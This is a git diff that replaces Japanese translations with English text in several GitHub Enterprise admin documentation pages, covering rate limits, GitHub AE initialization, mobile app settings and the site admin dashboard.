![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) {% data reusables.enterprise_management_console.save-settings %} -{% elsif ghae %} + +{% endif %} + +{% ifversion ghae %} + {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.pages-tab %} -5. [Pages policies] で [**Enable {% data variables.product.prodname_pages %}**] を選択します。 ![{% data variables.product.prodname_pages %} を無効化するチェックボックス](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) +5. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**. + ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) {% data reusables.enterprise-accounts.pages-policies-save %} + {% endif %} {% ifversion ghes %} -## 参考リンク +## Further reading -- [プライベートモードの有効化](/admin/configuration/enabling-private-mode) +- "[Enabling private mode](/admin/configuration/enabling-private-mode)" {% endif %} diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md index 3d09f17e79..95326574a6 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md @@ -1,6 +1,6 @@ --- -title: レート制限の設定 -intro: '{% data variables.enterprise.management_console %} を使用することで、{% data variables.product.prodname_ghe_server %} のレート制限を設定できます。' +title: Configuring rate limits +intro: 'You can set rate limits for {% data variables.product.prodname_ghe_server %} using the {% data variables.enterprise.management_console %}.' redirect_from: - /enterprise/admin/installation/configuring-rate-limits - /enterprise/admin/configuration/configuring-rate-limits @@ -13,25 +13,25 @@ topics: - Infrastructure - Performance --- +## Enabling rate limits for {% data variables.product.prodname_enterprise_api %} -## {% data variables.product.prodname_enterprise_api %}のレート制限の有効化 - -{% data variables.product.prodname_enterprise_api %}のレート制限を有効化すれば、個人あるいは認証されていないユーザによるリソースの過剰な利用を回避できます。 詳しい情報については、「[REST API のリソース](/rest/overview/resources-in-the-rest-api#rate-limiting)」を参照してください。 +Enabling rate limits on {% data variables.product.prodname_enterprise_api %} can prevent overuse of resources by individual or unauthenticated users. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." {% ifversion ghes %} -{{ site.data.variables.product.prodname_enterprise_api }}のレート制限を有効化すれば、個人あるいは認証されていないユーザによるリソースの過剰な利用を回避できます。 For more information, see "[Rate Limiting](/enterprise/{{ page.version }}/v3/#rate-limiting)." +You can exempt a list of users from API rate limits using the `ghe-config` utility in the administrative shell. For more information, see "[Command-line utilities](/enterprise/admin/configuration/command-line-utilities#ghe-config)." {% endif %} {% note %} -**ノート:** {% data variables.enterprise.management_console %}は、各レート制限の時間間隔（毎分もしくは毎時）をリストします。 +**Note:** The {% data variables.enterprise.management_console %} lists the time period (per minute or per hour) for each rate limit. {% endnote %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. ![API レート制限を有効にするためのチェックボックス](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) -3. 各APIについて認証済み及び非認証リクエストの制限を入力するか、事前に入力されているデフォルトの制限を承認してください。 +2. Under "Rate Limiting", select **Enable HTTP API Rate Limiting**. +![Checkbox for enabling API rate limiting](/assets/images/enterprise/management-console/api-rate-limits-checkbox.png) +3. Type limits for authenticated and unauthenticated requests for each API, or accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} ## Enabling secondary rate limits @@ -41,19 +41,23 @@ Setting secondary rate limits protects the overall level of service on {% data v {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% ifversion ghes > 3.1 %} -2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. + ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) {% else %} -2. "Rate Limiting（レート制限）"の下で**Enable Abuse Rate Limiting（不正利用レート制限の有効化）**を選択してください。 ![不正利用レート制限を有効にするためのチェックボックス](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**. + ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) {% endif %} -3. 総リクエストの制限、CPU制限、検索のためのCPU制限を入力するか、事前に入力されているデフォルトの制限を承認してください。 +3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} -## Gitレート制限の有効化 +## Enabling Git rate limits -リポジトリネットワークごとまたはユーザー ID ごとに Git レート制限を適用できます。 Git レート制限は 1 分あたりの同時操作数で表現され、現在の CPU 負荷に適応します。 +You can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. "Rate Limiting（レート制限）"の下で**Enable Git Rate Limiting（Gitレート制限の有効化）**を選択してください。 ![Git レート制限を有効にするためのチェックボックス](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) -3. リポジトリネットワークまたはユーザ ID ごとの制限を入力してください。 ![リポジトリネットワークとユーザ ID 制限のフィールド](/assets/images/enterprise/management-console/example-git-rate-limits.png) +2. Under "Rate Limiting", select **Enable Git Rate Limiting**. +![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) +3. Type limits for each repository network or user ID. + ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md index 8bf35132f8..40f97d05e0 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/initializing-github-ae.md @@ -1,6 +1,6 @@ --- -title: GitHub AE を初期化する -intro: '{% data variables.product.product_name %} の初期設定を完了して Enterprise で使用できるようにします。' +title: Initializing GitHub AE +intro: 'To get your enterprise ready to use, you can complete the initial configuration of {% data variables.product.product_name %}.' versions: ghae: '*' type: how_to @@ -9,16 +9,15 @@ topics: redirect_from: - /admin/configuration/initializing-github-ae --- +## About initialization -## 初期化について +Before you can initialize your enterprise, you must purchase {% data variables.product.product_name %}. For more information, contact {% data variables.contact.contact_enterprise_sales %}. -Enterprise を初期化する前に、{% data variables.product.product_name %} を購入する必要があります。 詳細については、{% data variables.contact.contact_enterprise_sales %} にお問い合わせください。 - -{% data reusables.github-ae.initialize-enterprise %} Make sure the information you provide matches the intended enterprise owner's information in the IdP. Enterprise オーナーの詳細については、「[Enterprise 内のロール](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)」を参照してください。 +{% data reusables.github-ae.initialize-enterprise %} Make sure the information you provide matches the intended enterprise owner's information in the IdP. For more information about enterprise owners, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner)." {% note %} -設定ファイルでクエリスイートを指定すると、{% data variables.product.prodname_codeql %} 分析エンジンは、デフォルトのクエリセットに加えて、スイートに含まれるクエリを実行します。 +**Notes**: - If the initial password for {% data variables.product.prodname_ghe_managed %} expires before you finish initialization, you can request a password reset at any time from your invitation email. @@ -26,78 +25,106 @@ Enterprise を初期化する前に、{% data variables.product.product_name %} {% endnote %} -初期化中に、Enterprise オーナーは Enterprise に名前を付け、SAML SSO を設定し、Enterprise 内のすべての Organization のポリシーを作成して、ユーザのサポート連絡先を設定します。 +During initialization, the enterprise owner will name your enterprise, configure SAML SSO, create policies for all organizations in your enterprise, and configure a support contact for your users. -## 必要な環境 +## Prerequisites To begin initialization, you will receive an invitation email from {% data variables.product.company_short %}. Before you configure {% data variables.product.prodname_ghe_managed %}, review the following prerequisites. -1. {% data variables.product.product_location %} を初期化するには、SAML アイデンティティプロバイダ (IdP) が必要です。 {% data reusables.saml.ae-uses-saml-sso %} 初期化中に IdP を Enterprise に接続するには、IdP のエンティティ ID (SSO) URL、発行者 ID URL、公開署名証明書 (Base64 エンコード) が必要です。 詳しい情報については、「[Enterprise のアイデンティティとアクセス管理について](/admin/authentication/about-identity-and-access-management-for-your-enterprise)」を参照してください。 +1. To initialize {% data variables.product.product_location %}, you must have a SAML identity provider (IdP). {% data reusables.saml.ae-uses-saml-sso %} To connect your IdP to your enterprise during initialization, you should have your IdP's Entity ID (SSO) URL, Issuer ID URL, and public signing certificate (Base64-encoded). For more information, see "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)." {% note %} - **注釈**: {% data reusables.saml.create-a-machine-user %} + **Note**: {% data reusables.saml.create-a-machine-user %} {% endnote %} 2. {% data reusables.saml.assert-the-administrator-attribute %} -## サインインして Enterprise に名前を付ける +## Signing in and naming your enterprise -1. ようこそメールの指示に従って、Enterprise にアクセスします。 -2. [Change password] の下に認証情報を入力し、[**Change password**] をクリックします。 -3. [What would you like your enterprise account to be named?] の下に Enterprise の名前を入力し、[**Save and continue**] をクリックします。 ![Enterprise に名前を付けるための [Save and continue] ボタン](/assets/images/enterprise/configuration/ae-enterprise-configuration.png) +1. Follow the instructions in your welcome email to reach your enterprise. +2. Type your credentials under "Change password", then click **Change password**. +3. Under "What would you like your enterprise account to be named?", type the enterprise's name, then click **Save and continue**. + !["Save and continue" button for naming an enterprise](/assets/images/enterprise/configuration/ae-enterprise-configuration.png) -## IdP を Enterprise に接続する +## Connecting your IdP to your enterprise -{% data variables.product.product_name %} の認証を設定するには、{% data variables.product.product_name %} に SAML IdP の詳細を提供する必要があります。 {% data variables.product.company_short %} は、IdP として Azure AD を使用することを推奨しています。 詳しい情報については、「[アイデンティティプロバイダで認証とプロビジョニングを設定する](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)」を参照してください。 +To configure authentication for {% data variables.product.product_name %}, you must provide {% data variables.product.product_name %} with the details for your SAML IdP. {% data variables.product.company_short %} recommends using Azure AD as your IdP. For more information, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)." -1. [Set up your identity provider] の右側にある [**Configure**] をクリックします。 ![IdP 設定の [Configure] ボタン](/assets/images/enterprise/configuration/ae-idp-configure.png) -1. [Sign on URL] で、SAML IdP の URL をコピーして貼り付けます。 ![SAML IdP のサインオン URL のテキストフィールド](/assets/images/enterprise/configuration/ae-idp-sign-on-url.png) -1. [Issuer] の下に、SAML IdP の発行者 URL をコピーして貼り付けます。 ![SAML IdP の発行者 URL のテキストフィールド](/assets/images/enterprise/configuration/ae-idp-issuer-url.png) -1. [Public certificate] の下で、SAML IdP の公開証明書をコピーして貼り付けます。 ![SAML IdP の公開証明書のテキストフィールド](/assets/images/enterprise/configuration/ae-idp-public-certificate.png) -1. [**Test SAML configuration**] をクリックして、入力した情報が正しいことを確認します。 ![[Test SAML configuration] ボタン](/assets/images/enterprise/configuration/ae-test-saml-configuration.png) -1. [**Save**] をクリックします。 ![IdP 設定の [Save] ボタン](/assets/images/enterprise/configuration/ae-save.png) +1. To the right of "Set up your identity provider", click **Configure**. + !["Configure" button for IdP configuration](/assets/images/enterprise/configuration/ae-idp-configure.png) +1. Under "Sign on URL", copy and paste the URL for your SAML IdP. + ![Text field for SAML IdP's sign-on URL](/assets/images/enterprise/configuration/ae-idp-sign-on-url.png) +1. Under "Issuer", copy and paste the issuer URL for your SAML IdP. + ![Text field for SAML IdP's issuer URL](/assets/images/enterprise/configuration/ae-idp-issuer-url.png) +1. Under "Public certificate", copy and paste the public certificate for your SAML IdP. + ![Text field for SAML IdP's public certificate](/assets/images/enterprise/configuration/ae-idp-public-certificate.png) +1. Click **Test SAML configuration** to ensure that the information you've entered is correct. + !["Test SAML configuration" button](/assets/images/enterprise/configuration/ae-test-saml-configuration.png) +1. Click **Save**. + !["Save" button for IdP configuration](/assets/images/enterprise/configuration/ae-save.png) -## Enterprise のポリシーを設定する +## Setting your enterprise policies -ポリシーを設定すると、Enterprise のリポジトリと Organization の管理に制限が設定されます。 これらは、初期化プロセスの後に再設定できます。 +Configuring policies will set limitations for repository and organization management for your enterprise. These can be reconfigured after the initialization process. -1. [Set your enterprise policies] の右側にある [**Configure**] をクリックします。 ![ポリシー設定の [Configure] ボタン](/assets/images/enterprise/configuration/ae-policies-configure.png) -2. [Default Repository Permissions] の下で、ドロップダウンメニューを使用して、Enterprise 内のリポジトリのデフォルトの権限レベルをクリックします。 個人、チーム、または Organization のメンバーとして、Organization への複数のアクセス手段がある場合、最上位の権限レベルが下位の権限レベルよりも優先されます。 必要に応じて、Enterprise 内の Organization がデフォルトのリポジトリ権限を設定できるようにするには、[**No policy**] をクリックします。 ![デフォルトのリポジトリ権限オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-repository-permissions-menu.png) -3. [Repository creation] の下で、メンバーにリポジトリの作成を許可するかどうかを選択します。 必要に応じて、Enterprise 内の Organization が権限を設定できるようにするには、[**No policy**] をクリックします。 ![Enterprise ポリシー設定用の [Members can create repositories] ボタン](/assets/images/enterprise/configuration/ae-repository-creation-permissions.png) -4. [Repository forking] の下で、プライベートリポジトリと内部リポジトリのフォークを許可するかどうかを選択します。 必要に応じて、Enterprise 内の Organization が権限を設定できるようにするには、[**No policy**] をクリックします。 ![リポジトリフォーク権限オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-repository-forking-menu.png) -5. [Repository invitations] の下で、メンバーまたは Organization のオーナーがコラボレータをリポジトリに招待できるかどうかを選択します。 必要に応じて、Enterprise 内の Organization が権限を設定できるようにするには、[**No policy**] をクリックします。 ![リポジトリ招待権限オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-repository-invitations-menu.png) -6. [Default repository visibility] で、ドロップダウンメニューを使用して、新しいリポジトリのデフォルトの可視性設定をクリックします。 ![デフォルトのリポジトリ可視性オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-repository-visibility-menu.png) -7. [Users can create organizations] の下で、ドロップダウンメニューを使用して、Enterprise のメンバーの Organization 作成アクセスを有効または無効にします。 ![Organization 作成権限オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-organization-creation-permissions-menu.png) -8. [Force pushes] の下で、ドロップダウンメニューを使用して、フォースプッシュを許可するかブロックするかを選択します。 ![フォースプッシュ設定オプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-force-pushes-configuration-menu.png) -9. [Git SSH access] の下で、ドロップダウンメニューを使用して、Enterprise 内のすべてのリポジトリに対して Git SSH アクセスを有効にするかどうかを選択します。 ![Git SSH アクセスオプションのドロップダウンメニュー](/assets/images/enterprise/configuration/ae-git-ssh-access-menu.png) -10. [**Save**] をクリックします。 ![Enterprise ポリシー設定の [Save] ボタン](/assets/images/enterprise/configuration/ae-save.png) -11. 必要に応じて、すべての選択をリセットするには、[Reset to default policies] をクリックします。 ![すべてのデフォルトポリシーをリセットするためのリンク](/assets/images/enterprise/configuration/ae-reset-default-options.png) +1. To the right of "Set your enterprise policies", click **Configure**. + !["Configure" button for policies configuration](/assets/images/enterprise/configuration/ae-policies-configure.png) +2. Under "Default Repository Permissions", use the drop-down menu and click a default permissions level for repositories in your enterprise. If a person has multiple avenues of access to an organization, either individually, through a team, or as an organization member, the highest permission level overrides any lower permission levels. Optionally, to allow organizations within your enterprise to set their default repository permissions, click **No policy** + ![Drop-down menu for default repository permissions options](/assets/images/enterprise/configuration/ae-repository-permissions-menu.png) +3. Under "Repository creation", choose whether you want to allow members to create repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy**. + !["Members can create repositories" button for enterprise policies configuration](/assets/images/enterprise/configuration/ae-repository-creation-permissions.png) +4. Under "Repository forking", choose whether to allow forking of private and internal repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy** + ![Drop-down menu for repository forking permissions options](/assets/images/enterprise/configuration/ae-repository-forking-menu.png) +5. Under "Repository invitations", choose whether members or organization owners can invite collaborators to repositories. Optionally, to allow organizations within your enterprise to set permissions, click **No policy** + ![Drop-down menu for repository invitation permissions options](/assets/images/enterprise/configuration/ae-repository-invitations-menu.png) +6. Under "Default repository visibility", use the drop-down menu and click the default visibility setting for new repositories. + ![Drop-down menu for default repository visibility options](/assets/images/enterprise/configuration/ae-repository-visibility-menu.png) +7. Under "Users can create organizations", use the drop-down menu to enable or disable organization creation access for members of the enterprise. + ![Drop-down menu for organization creation permissions options](/assets/images/enterprise/configuration/ae-organization-creation-permissions-menu.png) +8. Under "Force pushes", use the drop-down menu and choose whether to allow or block force pushes. + ![Drop-down menu for force pushes configuration options](/assets/images/enterprise/configuration/ae-force-pushes-configuration-menu.png) +9. Under "Git SSH access", use the drop-down menu and choose whether to enable Git SSH access for all repositories in the enterprise. + ![Drop-down menu for Git SSH access options](/assets/images/enterprise/configuration/ae-git-ssh-access-menu.png) +10. Click **Save** + !["Save" button for enterprise policies configuration](/assets/images/enterprise/configuration/ae-save.png) +11. Optionally, to reset all selections, click "Reset to default policies". + ![Link to reset all default policies](/assets/images/enterprise/configuration/ae-reset-default-options.png) -## 内部のサポート連絡先を設定する +## Setting your internal support contact -ユーザが内部のサポートチームに連絡する方法を設定できます。 これは、初期化プロセスの後に再設定できます。 +You can configure the method your users will use to contact your internal support team. This can be reconfigured after the initialization process. -1. [Internal support contact] の右側にある [**Configure**] をクリックします。 ![内部サポート連絡先設定の [Configure] ボタン](/assets/images/enterprise/configuration/ae-support-configure.png) -2. [Internal support contact] の下で、Enterprise のユーザが URL またはメールアドレスを使用してサポートに連絡する方法を選択します。 次に、サポートの連絡先情報を入力します。 ![内部サポート連絡先 URL のテキストフィールド](/assets/images/enterprise/configuration/ae-support-link-url.png) -3. [**Save**] をクリックします。 ![Enterprise サポート連絡先設定の [Save] ボタン](/assets/images/enterprise/configuration/ae-save.png) +1. To the right of "Internal support contact", click **Configure**. + !["Configure" button for internal support contact configuration](/assets/images/enterprise/configuration/ae-support-configure.png) +2. Under "Internal support contact", select the method for users of your enterprise to contact support, through a URL or an e-mail address. Then, type the support contact information. + ![Text field for internal support contact URL](/assets/images/enterprise/configuration/ae-support-link-url.png) +3. Click **Save**. + !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) -## メール設定 +## Setting your email settings -これを初期化すると、初期化プロセス後に再設定できます。 詳しい情報については、「[通知のためのメールを設定する](/admin/configuration/configuring-email-for-notifications)」を参照してください。 +Once this is initialized, you can reconfigure any settings after the initialization process. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-email-for-notifications)." -1. [Configure email settings] の右側にある [**Configure**] をクリックします。 ![メール設定の [Configure] ボタン](/assets/images/enterprise/configuration/ae-email-configure.png) -2. **Enable email（メールの有効化）**を選択してください。 これにより、アウトバウンドメールとインバウンドメールの両方が有効になりますが、インバウンドメールが動作するようにするには、DNS 設定を行う必要があります。 詳しい情報については、「[着信メールを許可するよう DNS およびファイアウォールを設定する](/admin/configuration/configuring-email-for-notifications#configuring-dns-and-firewall-settings-to-allow-incoming-emails)」を参照してください。 ![メール設定の [Enable] チェックボックス](/assets/images/enterprise/configuration/ae-enable-email-configure.png) -3. メールサーバーの設定を完了します。 - - [**Server address**] フィールドに SMTP サーバのアドレスを入力します。 - - [**Port**] フィールドには、SMTP サーバがメールを送信するのに使用するポートを入力します。 - - [**Domain**] フィールドには、SMTP サーバが HELO レスポンスを送信するドメイン名があれば入力してください。 - - [** Authentication（認証）**] ドロップダウンでは、SMTP サーバが利用する暗号化の種類を選択してください。 - - [**No-reply email address（No-replyメールアドレス）**] フィールドには、すべての通知メールの From および To フィールドに使うメールアドレスを入力してください。 +1. To the right of "Configure email settings", click **Configure**. + !["Configure" button for email settings configuration](/assets/images/enterprise/configuration/ae-email-configure.png) +2. Select **Enable email**. This will enable both outbound and inbound email, however, for inbound email to work you will also need to configure your DNS settings. For more information, see "[Configuring DNS and firewall + settings to allow incoming emails](/admin/configuration/configuring-email-for-notifications#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." + !["Enable" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-enable-email-configure.png) +3. Complete your email server settings: + - In the **Server address** field, type the address of your SMTP server. + - In the **Port** field, type the port that your SMTP server uses to send email. + - In the **Domain** field, type the domain name that your SMTP server will send with a HELO response, if any. + - In the **Authentication** dropdown, choose the type of encryption used by your SMTP server. + - In the **No-reply email address** field, type the email address to use in the From and To fields for all notification emails. -4. no-replyメールアドレスへの着信メールをすべて破棄したい場合には、**Discard email addressed to the no-reply email address（no-replyメールアドレスへのメールの破棄）**を選択してください。 ![メール設定の [Discard] チェックボックス](/assets/images/enterprise/configuration/ae-discard-email.png) -5. [**Test email settings**] をクリックします。 ![メール設定の [Test email settings] ボタン](/assets/images/enterprise/configuration/ae-test-email.png) -6. [Send test email to] で、テストメールを送信するメールアドレスを入力し、[**Send test email**] をクリックします。 ![メール設定の [Send test email] ボタン](/assets/images/enterprise/configuration/ae-send-test-email.png) -7. [**Save**] をクリックします。 ![Enterprise サポート連絡先設定の [Save] ボタン](/assets/images/enterprise/configuration/ae-save.png) +4. If you want to discard all incoming emails that are addressed to the no-reply email address, select **Discard email addressed to the no-reply email address**. + !["Discard" checkbox for email settings configuration](/assets/images/enterprise/configuration/ae-discard-email.png) +5. Click **Test email settings**. + !["Test email settings" button for email settings configuration](/assets/images/enterprise/configuration/ae-test-email.png) +6. Under "Send test email to," type the email address where you want to send a test email, then click **Send test email**. + !["Send test email" button for email settings configuration](/assets/images/enterprise/configuration/ae-send-test-email.png) +7. Click **Save**. + !["Save" button for enterprise support contact configuration](/assets/images/enterprise/configuration/ae-save.png) diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md index b06b8ad8cd..73f83ca38f 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/managing-github-for-mobile-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enterprise 向けの GitHub for Mobile を管理する -intro: '認証されたユーザが {% data variables.product.prodname_mobile %} を使用して {% data variables.product.product_location %} に接続できるかどうかを決定できます。' +title: Managing GitHub for mobile for your enterprise +intro: 'You can decide whether authenticated users can connect to {% data variables.product.product_location %} with {% data variables.product.prodname_mobile %}.' permissions: 'Enterprise owners can manage {% data variables.product.prodname_mobile %} for an enterprise on {% data variables.product.product_name %}.' versions: ghes: '*' @@ -12,22 +12,23 @@ redirect_from: - /admin/configuration/managing-github-for-mobile-for-your-enterprise shortTitle: Manage GitHub for mobile --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## {% data variables.product.prodname_mobile %} について +## About {% data variables.product.prodname_mobile %} -{% data reusables.mobile.about-mobile %}詳しい情報については、「[GitHub for Mobile](/github/getting-started-with-github/github-for-mobile)」を参照してください。 +{% data reusables.mobile.about-mobile %} For more information, see "[GitHub for mobile](/github/getting-started-with-github/github-for-mobile)." -Enterprise のメンバーは、{% data variables.product.prodname_mobile %} を使用して、モバイルデバイスから {% data variables.product.product_location %} での作業をトリアージ、コラボレーション、管理できます。 デフォルトでは、{% data variables.product.prodname_mobile %} は {% data variables.product.product_location %} に対して有効になっています。 Enterprise メンバーが {% data variables.product.prodname_mobile %} を使用して {% data variables.product.product_location %} を認証し、Enterprise のデータにアクセスすることを許可または禁止できます。 +Members of your enterprise can use {% data variables.product.prodname_mobile %} to triage, collaborate, and manage work on {% data variables.product.product_location %} from a mobile device. By default, {% data variables.product.prodname_mobile %} is enabled for {% data variables.product.product_location %}. You can allow or disallow enterprise members from using {% data variables.product.prodname_mobile %} to authenticate to {% data variables.product.product_location %} and access your enterprise's data. -## {% data variables.product.prodname_mobile %} の有効化または無効化 +## Enabling or disabling {% data variables.product.prodname_mobile %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} -1. 左サイドバーで、[**Mobile**] をクリックします。 ![{% data variables.product.prodname_ghe_server %} Management Console の左サイドバーにある [Mobile]](/assets/images/enterprise/management-console/click-mobile.png) -1. [GitHub for mobile] で、[**Enable GitHub Mobile Apps**] を選択または選択解除します。 ![{% data variables.product.prodname_ghe_server %} Management Console の [Enable GitHub Mobile Apps] チェックボックス](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) +1. In the left sidebar, click **Mobile**. + !["Mobile" in the left sidebar for the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/click-mobile.png) +1. Under "GitHub for mobile", select or deselect **Enable GitHub Mobile Apps**. + ![Checkbox for "Enable GitHub Mobile Apps" in the {% data variables.product.prodname_ghe_server %} management console](/assets/images/enterprise/management-console/select-enable-github-mobile-apps.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md index bfe80acf9e..610a1878cc 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -1,5 +1,5 @@ --- -title: サイトアドミンのダッシュボード +title: Site admin dashboard intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' redirect_from: - /enterprise/admin/articles/site-admin-dashboard/ @@ -14,156 +14,163 @@ topics: - Enterprise - Fundamentals --- - -ダッシュボードへアクセスするには、ページ右上の隅にある {% octicon "rocket" aria-label="The rocket ship" %}をクリックしてください。 ![サイトアドミン設定にアクセスするための宇宙船のアイコン](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. +![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% ifversion ghes or ghae %} -## 検索 +## Search -ここで、ドメインや認証、SSL などの仮想アプライアンスの設定を管理するための {{ site.data.variables.enterprise.management_console }}を起動することができます。 +Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). {% else %} -## ライセンスの情報と検索 +## License info & search -現在の {% data variables.product.prodname_enterprise %} のライセンスを確認する、ユーザとリポジトリを検索する、そして [Audit log](#audit-log) を照会するには、サイトアドミンのダッシュボードのこのセクションを参照してください。 +Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). {% endif %} {% ifversion ghes %} ## {% data variables.enterprise.management_console %} -ここで、ドメインや認証、SSL などの仮想アプライアンスの設定を管理するための {% data variables.enterprise.management_console %}を起動することができます。 +Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. {% endif %} -## Explorer +## Explore -GitHub の[ 流行ページ][] のためのデータは、リポジトリとデベロッパーの両方において、日ごと、週ごと、月ごとの期間で計算されます。 **Explore** のセクションで、このデータが最後にいつキャッシュされたのかの確認や、新規流行計算ジョブをキューに挿入することができます。 +Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. + + [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github ## Audit log -{% data variables.product.product_name %}は、クエリで確認できる、監査されたアクションのログを保持しています。 +{% data variables.product.product_name %} keeps a running log of audited actions that you can query. -デフォルトでは、Audit log は、監査されたアクション全てを新しい順で表示します。 「[Audit log を検索する](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)」で説明されているように、[**Query**] テキストボックスにキーと値のペアを入力して [**Search**] をクリックすることで、このリストをフィルタリングできます。 +By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)." -一般的な監査ログの詳細については、「[監査ログ](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)」を参照してください。 監査済みのアクションの全リストについては、「[監査済みのアクション](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)」を参照してください。 +For more information on audit logging in general, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." For a full list of audited actions, see "[Audited actions](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)." -## 報告 +## Reports -{% data variables.product.product_location %}にある、ユーザやOrganization、リポジトリについての情報が必要な場合、一般的には、[GitHub API](/rest) を使って、JSON のデータをフェッチします。 残念ながら、API は、必要なデータを提供しない可能性があり、使用するのには専門知識が必要です。 サイトアドミンのダッシュボードには代替手段として [**Reports**] セクションがあり、ユーザー、Organization、およびリポジトリに必要と思われるほぼすべての情報を掲載した CSV レポートを簡単にダウンロードできます。 +If you need to get information on the users, organizations, and repositories in {% data variables.product.product_location %}, you would ordinarily fetch JSON data through the [GitHub 